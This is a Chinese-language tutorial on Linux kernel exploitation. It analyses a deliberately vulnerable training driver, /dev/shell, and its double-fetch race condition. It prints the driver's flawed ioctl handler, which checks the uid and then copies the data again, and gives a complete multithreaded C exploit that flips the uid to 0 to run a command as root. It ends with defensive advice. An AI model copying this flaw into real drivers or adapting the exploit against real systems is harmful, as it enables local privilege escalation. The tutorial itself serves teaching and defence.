内核漏洞利用入门 Part 1
字数 1416 2025-08-24 07:48:22

内核漏洞利用入门 Part 1:Double Fetch 漏洞分析与利用

1. 前言

本文旨在介绍内核漏洞利用的基础知识,特别是针对一种称为"Double Fetch"的条件竞争漏洞。内核漏洞利用常被认为难以学习,但通过系统化的方法和实践练习,可以逐步掌握相关技能。

2. 前置知识

在开始学习前,需要具备以下基础知识:

  • Linux 命令行操作
  • C 语言的阅读和编写能力
  • 虚拟机或调试环境搭建能力
  • 内核模块编译和安装能力
  • 用户态和内核态的基本概念
  • 基础汇编知识(有助于后续学习)

3. 示例驱动分析

3.1 设备驱动概述

示例驱动 /dev/shell 是一个字符设备,主要功能是:

  • 接收两个参数:uidcmd
  • 以指定的 uid 身份执行 cmd 命令

3.2 设备操作结构

字符设备通过 file_operations 结构定义其操作:

static struct file_operations query_fops = {
    .owner = THIS_MODULE,
    .open = shell_open,
    .release = shell_close,
    .unlocked_ioctl = shell_ioctl
};

各操作函数说明:

  • open: 打开设备时调用
  • release: 关闭设备时调用
  • unlocked_ioctl: 处理 IOCTL 请求时调用

3.3 用户态接口

用户态对应的系统调用:

  • 打开设备:fd = open("/dev/shell", O_RDWR);
  • 关闭设备:close(fd);
  • IOCTL请求:ioctl(fd, COMMAND, argument);

3.4 数据结构

驱动定义的用户数据结构:

typedef struct user_data {
    int uid;
    char cmd[100];
} user_data;

4. IOCTL 处理流程分析

完整的 shell_ioctl 函数:

static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
    user_data udat;
    kuid_t kernel_uid = current_uid();
    memset(udat.cmd, 0, sizeof(udat.cmd));
    
    // 第一次从用户空间拷贝uid
    if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
        return -EFAULT;
    
    printk(KERN_INFO "CHECKING VALIDITY OF UID: %d", udat.uid);
    
    if (udat.uid == kernel_uid.val) {
        int rc;
        struct subprocess_info *sub_info;
        printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);
        usleep_range(1000000, 1000001);
        
        char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);
        if (!argv)
            return -ENOMEM;
            
        // 第二次从用户空间拷贝整个结构体
        memset(&udat, 0, sizeof(udat));
        if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
            return -EFAULT;
            
        real_uid = udat.uid;
        static char *envp[] = {
            "HOME=/",
            "TERM=linux",
            "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
            NULL
        };
        
        argv[0] = "/bin/sh";
        argv[1] = "-c";
        argv[2] = udat.cmd;
        argv[3] = NULL;
        
        printk(KERN_INFO "CMD = %s\n", argv[2]);
        sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, 
                                           init_func, free_argv, NULL);
        if (sub_info == NULL) {
            kfree(argv);
            return -ENOMEM;
        }
        
        rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
        printk(KERN_INFO "RC = %d\n", rc);
        return rc;
    }
    return 0;
}

4.1 漏洞分析

关键问题在于:

  1. 第一次只拷贝 uid 进行验证
  2. 验证通过后,第二次拷贝整个结构体
  3. 两次拷贝之间存在时间窗口,允许用户态修改数据

这就是"Double Fetch"漏洞:

  • 内核从用户空间两次获取数据
  • 第一次用于验证
  • 第二次用于实际使用
  • 中间用户可以修改数据,绕过验证

4.2 关键函数说明

  • raw_copy_from_user: 从用户空间拷贝数据到内核空间
  • current_uid: 获取当前进程的UID
  • call_usermodehelper_setup/call_usermodehelper_exec: 以指定用户身份执行命令

5. 漏洞利用开发

5.1 利用思路

  1. 创建线程不断修改 uid 为 0 (root)
  2. 主线程不断发送合法的IOCTL请求
  3. 利用竞争条件,在验证后、执行前将 uid 改为 0

5.2 完整利用代码

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <pthread.h>

int finish = 0;

typedef struct user_data {
    int uid;
    char cmd[100];
} user_data;

void change_uid_root(void *struct_ptr) {
    user_data *udat = struct_ptr;
    while (finish == 0)
        udat->uid = 0;
}

int main(void) {
    pthread_t thread;
    user_data udat;
    
    udat.uid = 1000;  // 初始UID
    strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
    
    pthread_create(&thread, NULL, change_uid_root, &udat);
    
    int fd = open("/dev/shell", O_RDWR);
    
    // 尝试多次以增加竞争成功率
    for (int i = 0; i < 100; i++) {
        ioctl(fd, 0, &udat);
        udat.uid = 1000;  // 重置UID
    }
    
    finish = 1;
    pthread_join(thread, NULL);
    close(fd);
    
    return EXIT_SUCCESS;
}

5.3 利用步骤说明

  1. 编译并加载驱动:

    $ make
    $ insmod shell.ko
    $ chmod 777 /dev/shell
    
  2. 编译并运行利用程序

  3. 检查是否成功创建 /tmp/hacker 文件

5.4 利用关键点

  1. 多线程竞争:主线程执行IOCTL,辅助线程修改数据
  2. 多次尝试:增加竞争成功的概率
  3. 数据重置:每次IOCTL后重置UID,保持合法性
  4. 终止条件:设置标志位安全终止线程

6. 防御措施

针对Double Fetch漏洞的防御方法:

  1. 一次性拷贝所有数据到内核空间
  2. 使用锁机制保护共享数据
  3. 减少用户空间和内核空间的数据交换次数
  4. 使用内核提供的安全拷贝函数

7. 总结

本文通过一个实际的驱动示例,详细介绍了:

  1. Linux字符设备驱动的基本结构
  2. Double Fetch漏洞的原理和危害
  3. 条件竞争漏洞的利用方法
  4. 多线程编程在内核漏洞利用中的应用
  5. 基本的漏洞防御思路

通过这个练习,读者可以初步理解内核漏洞利用的基本方法和思路,为进一步学习更复杂的内核漏洞利用打下基础。

内核漏洞利用入门 Part 1:Double Fetch 漏洞分析与利用 1. 前言 本文旨在介绍内核漏洞利用的基础知识,特别是针对一种称为"Double Fetch"的条件竞争漏洞。内核漏洞利用常被认为难以学习,但通过系统化的方法和实践练习,可以逐步掌握相关技能。 2. 前置知识 在开始学习前,需要具备以下基础知识: Linux 命令行操作 C 语言的阅读和编写能力 虚拟机或调试环境搭建能力 内核模块编译和安装能力 用户态和内核态的基本概念 基础汇编知识(有助于后续学习) 3. 示例驱动分析 3.1 设备驱动概述 示例驱动 /dev/shell 是一个字符设备,主要功能是: 接收两个参数: uid 和 cmd 以指定的 uid 身份执行 cmd 命令 3.2 设备操作结构 字符设备通过 file_operations 结构定义其操作: 各操作函数说明: open : 打开设备时调用 release : 关闭设备时调用 unlocked_ioctl : 处理 IOCTL 请求时调用 3.3 用户态接口 用户态对应的系统调用: 打开设备: fd = open("/dev/shell", O_RDWR); 关闭设备: close(fd); IOCTL请求: ioctl(fd, COMMAND, argument); 3.4 数据结构 驱动定义的用户数据结构: 4. IOCTL 处理流程分析 完整的 shell_ioctl 函数: 4.1 漏洞分析 关键问题在于: 第一次只拷贝 uid 进行验证 验证通过后,第二次拷贝整个结构体 两次拷贝之间存在时间窗口,允许用户态修改数据 这就是"Double Fetch"漏洞: 内核从用户空间两次获取数据 第一次用于验证 第二次用于实际使用 中间用户可以修改数据,绕过验证 4.2 关键函数说明 raw_copy_from_user : 从用户空间拷贝数据到内核空间 current_uid : 获取当前进程的UID call_usermodehelper_setup / call_usermodehelper_exec : 以指定用户身份执行命令 5. 漏洞利用开发 5.1 利用思路 创建线程不断修改 uid 为 0 (root) 主线程不断发送合法的IOCTL请求 利用竞争条件,在验证后、执行前将 uid 改为 0 5.2 完整利用代码 5.3 利用步骤说明 编译并加载驱动: 编译并运行利用程序 检查是否成功创建 /tmp/hacker 文件 5.4 利用关键点 多线程竞争:主线程执行IOCTL,辅助线程修改数据 多次尝试:增加竞争成功的概率 数据重置:每次IOCTL后重置UID,保持合法性 终止条件:设置标志位安全终止线程 6. 防御措施 针对Double Fetch漏洞的防御方法: 一次性拷贝所有数据到内核空间 使用锁机制保护共享数据 减少用户空间和内核空间的数据交换次数 使用内核提供的安全拷贝函数 7. 总结 本文通过一个实际的驱动示例,详细介绍了: Linux字符设备驱动的基本结构 Double Fetch漏洞的原理和危害 条件竞争漏洞的利用方法 多线程编程在内核漏洞利用中的应用 基本的漏洞防御思路 通过这个练习,读者可以初步理解内核漏洞利用的基本方法和思路,为进一步学习更复杂的内核漏洞利用打下基础。